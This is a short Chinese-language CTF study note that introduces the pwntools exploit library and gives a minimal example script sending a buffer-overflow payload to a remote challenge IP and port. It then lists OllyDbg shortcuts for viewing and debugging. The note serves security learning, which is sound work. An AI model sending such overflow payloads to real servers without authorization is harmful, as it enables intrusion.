Pwntools 是由 Gallopsled 开发的一款专用于 CTF Exploit 的 Python 库,包含了本地执行、远程连接读写、shellcode 生成、ROP 链的构建、ELF 解析、符号泄漏等众多强大功能,可以说把 EXP 繁琐的过程变得简单起来。(1)项目地址:https://github.com/Gallopsled/pwntools;(2)官方文档:http://docs.pwntools.com/en/latest/。这里只简单介绍一下它的部分 API 使用:借助 pwntools 编写的 exp 脚本示例:from pwn import * coon = remote('111.200.241.244',65238) #连接远程IP和端口 coon.recv() #接收远程发来的内容 payload = b'a'*4 + p64(1853186401) #构建溢出攻击的payload coon.sendline(payload) #向远程发送我们的payload
1.OD(1)视图、查看相关:Alt+l 记录Alt+e 可执行模块Alt+m 内存Alt+c cpu(反汇编视图)Ctrl+p 补丁Alt+k 调用堆栈Alt+b 断点Alt+f5 设置窗口总在最前Alt+o 调试选项Alt+F3 - 关闭当前窗口。Ctrl+F4 - 关闭当前窗口。F5 - 最大化当前窗口或将当前窗口大小改为正常化。F6 - 切换到下一个窗口。Shift+F6 - 切换到前一个窗口。F10 - 打开与当前窗口或面板相关的快捷菜单。左方向键 - 显示窗口左方一个字节宽度的内容阿。Ctrl+左方向键 - 显示窗口左方一栏的内容。右方向键 - 显示窗口右方一个字节宽度的内容Ctrl+右方向键 - 显示窗口右方一栏的内容(2)调试、断点相关:f9 运行Ctrl+f9 执行到返回(retn指令处)Alt+f9 执行到用户代码f12 暂停f2 设断点Ctrl+f2 重新开始Alt+f2 关闭Shift+f2 设置条件断点f7 单步步入Ctrl+f7 自动步入Ctrl+f11 跟踪步入f8 单步步过Ctrl+f8 自动步过Ctrl+f12 跟踪步过Ctrl+t 设置run跟踪
Norman1z